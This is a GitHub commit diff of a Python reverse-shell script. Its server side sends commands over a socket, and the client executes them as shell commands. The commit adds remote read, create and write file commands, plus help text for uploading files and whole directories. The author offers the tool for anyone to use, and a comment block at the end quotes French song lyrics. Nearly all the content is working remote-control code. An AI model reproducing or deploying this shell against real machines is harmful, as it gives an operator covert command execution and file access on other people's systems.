1
+ # TODO Written by Bersenrar you can use this script :3 If you will show some where in media space please use
2
+ # my GIT profile in sources list
1
3
import argparse
2
4
import socket
3
5
import subprocess
4
6
import shlex
7
+ import time
5
8
from sys import exit as exit_the_script
6
9
import os
7
10
import threading
@@ -64,6 +67,20 @@ def save_file(self, user_socket):
64
67
65
68
exit_the_script ()
66
69
70
+ def write_to_file (self , user_socket ):
71
+ stop_writing_msg = "exit0"
72
+ time .sleep (2 )
73
+ while True :
74
+ line_to_write = input (">>> " )
75
+ line_to_write = line_to_write + "\n "
76
+ if stop_writing_msg in line_to_write :
77
+ user_socket .send (stop_writing_msg .encode ())
78
+ break
79
+ if len (line_to_write ) < 300 :
80
+ line_to_write = line_to_write + " " * (300 - len (line_to_write ))
81
+ user_socket .send (line_to_write .encode ())
82
+ return
83
+
67
84
def cmd_prompt (self , user_socket ):
68
85
# DECODING_CONST = user_socket.recv(300).decode().strip()
69
86
while True :
@@ -76,6 +93,9 @@ def cmd_prompt(self, user_socket):
76
93
user_socket .send (cmd .encode ("utf-8" ))
77
94
client_response = b""
78
95
96
+ if "wtf" in cmd :
97
+ self .write_to_file (user_socket )
98
+
79
99
while True :
80
100
part_of_msg = user_socket .recv (300 )
81
101
if part_of_msg .decode (DECODING_CONST ).strip () == "stop" :
@@ -135,6 +155,43 @@ def send_file(self):
135
155
self .client_reverse .send (msg_to_send )
136
156
exit_the_script ()
137
157
158
+ def write_in_file (self , name_for_file ):
159
+ with open (name_for_file , "rb" ) as file_to_check :
160
+ data = file_to_check .read ().strip ()
161
+ file_to_check .close ()
162
+
163
+ if not data :
164
+ flag = "wt"
165
+ else :
166
+ flag = "at"
167
+
168
+ with open (name_for_file , flag ) as file_to_write :
169
+ while True :
170
+ string_to_write = self .client_reverse .recv (300 ).decode ().rstrip ()
171
+ if string_to_write == "exit0" :
172
+ break
173
+ file_to_write .write (string_to_write + "\n " )
174
+ file_to_write .close ()
175
+
176
+ return b"0"
177
+
178
+ def read_file (self , buffer ):
179
+ try :
180
+ path = shlex .split (buffer )[1 ]
181
+ with open (path , "rb" ) as file :
182
+ result = file .read ()
183
+ except Exception as err :
184
+ result = b"1"
185
+ print (f"Something went wrong { err } " )
186
+ return result
187
+
188
+ def create_file (self , buffer ):
189
+ name_for_file = buffer [:]
190
+ with open (name_for_file , "wb" ) as ___ :
191
+ ___ .close ()
192
+ result = b"0"
193
+ return result
194
+
138
195
def cmd_prompt_client (self ):
139
196
140
197
while True :
@@ -154,24 +211,29 @@ def cmd_prompt_client(self):
154
211
print (buffer )
155
212
156
213
if "cd" in buffer :
214
+ result_flag = False
157
215
try :
158
216
# Sometimes can return 1 code means error but don't pay attention to this
159
217
# Because directory change anyway if there enough rights to do this action
160
218
path = shlex .split (buffer )[1 ]
161
219
os .chdir (path )
162
- result = b"0"
220
+ result_flag = False
163
221
except Exception as error :
164
- result = b"1"
222
+ result_flag = True
165
223
print (f"Something went wrong { error } " )
224
+ result = f"{ int (result_flag )} " .encode ()
225
+
226
+ elif "mkf" in buffer :
227
+ name_for_f = shlex .split (buffer )[1 ]
228
+ result = self .create_file (name_for_f )
229
+
230
+ elif "read" in buffer :
231
+ result = self .read_file (buffer )
232
+
233
+ elif "wtf" in buffer :
234
+ name = shlex .split (buffer )
235
+ result = self .write_in_file (name [1 ])
166
236
167
- if "read" in buffer :
168
- try :
169
- path = shlex .split (buffer )[1 ]
170
- with open (path , "rb" ) as file :
171
- result = file .read ()
172
- except Exception as err :
173
- result = b"1"
174
- print (f"Something went wrong { err } " )
175
237
else :
176
238
result = execute (buffer )
177
239
@@ -208,16 +270,35 @@ def run(self):
208
270
# If necessary to kill the process
209
271
print (f'[PID] { os .getpid ()} \n Use taskkill /f -pid PID on windows\n kill PID on Linux if something went wrong' )
210
272
parser = argparse .ArgumentParser (description = '''There is a reverse shell script which allows you to send for example files \
211
- or open a command prompt on from client side
273
+ or open a command prompt on client side if you want read file threw shell use read [file_name], if you want create \
274
+ file use mkf command with name of file mkf some_file.txt if you want start writing in file use wtf command
212
275
''' )
213
276
214
- parser .add_argument ("-t" , "--target" , action = "store" , default = "localhost" , type = str )
215
- parser .add_argument ("-p" , "--port" , action = "store" , default = 5555 , type = int )
216
- parser .add_argument ("-s" , "--server" , action = "store_true" )
277
+ parser .add_argument ("-t" , "--target" , action = "store" , default = "localhost" , type = str , help = "Use this option to"
278
+ " specify"
279
+ " ip address(IPV4)" )
280
+ parser .add_argument ("-p" , "--port" , action = "store" , default = 5555 , type = int , help = "Use this option to specify"
281
+ " the port "
282
+ "on which server/client would run" )
283
+ parser .add_argument ("-s" , "--server" , action = "store_true" , help = "Use this option if you want to"
284
+ " run script as server" )
217
285
286
+ # Params if you want upload/download file/directory(directory with every file in there)
218
287
parser .add_argument ("-up" , "--upload" , action = "store_true" , default = False )
219
- parser .add_argument ("-abp" , "--absolute_path" , action = "store" )
220
- parser .add_argument ("-nf" , "--name_for_file" , action = "store" )
288
+ parser .add_argument ("-abp" , "--absolute_path" , action = "store" , help = "Use this option to specify path to file or"
289
+ " directory if using updr function" )
290
+ parser .add_argument ("-nf" , "--name_for_file" , action = "store" , help = "Use this option to specify the name for file"
291
+ " which would download" )
292
+ parser .add_argument ("-updr" , "--upload_directory" , action = "store_true" , default = False ,
293
+ help = "Use this option if you want to"
294
+ " upload a directory for client side"
295
+ "(which would send a files you also need"
296
+ " a path"
297
+ "for server which would receive"
298
+ " files you also need use this option"
299
+ " also you need to"
300
+ " use -nf option to specify the new"
301
+ " directory name)" )
221
302
222
303
args = parser .parse_args ()
223
304
@@ -286,5 +367,19 @@ def run(self):
286
367
# This is our end
287
368
288
369
370
+ # Donnez-moi une suite au Ritz,
371
+ # Je n'en veux pas
372
+ # Des bijoux de chez Chanel,
373
+ # Je n'en veux pas
374
+ # Donnez moi une limousine,
375
+ # J'en ferais quoi
376
+ # Papalapapapa
377
+ # Offrez moi du personnel,
378
+ # J'en ferais quoi
379
+ # Un manoir à Neuchâtel,
380
+ # Ce n'est pas pour moi
381
+ # Offrez moi la tour Eiffel,
382
+ # J'en ferais quoi
383
+
289
384
290
385
0 commit comments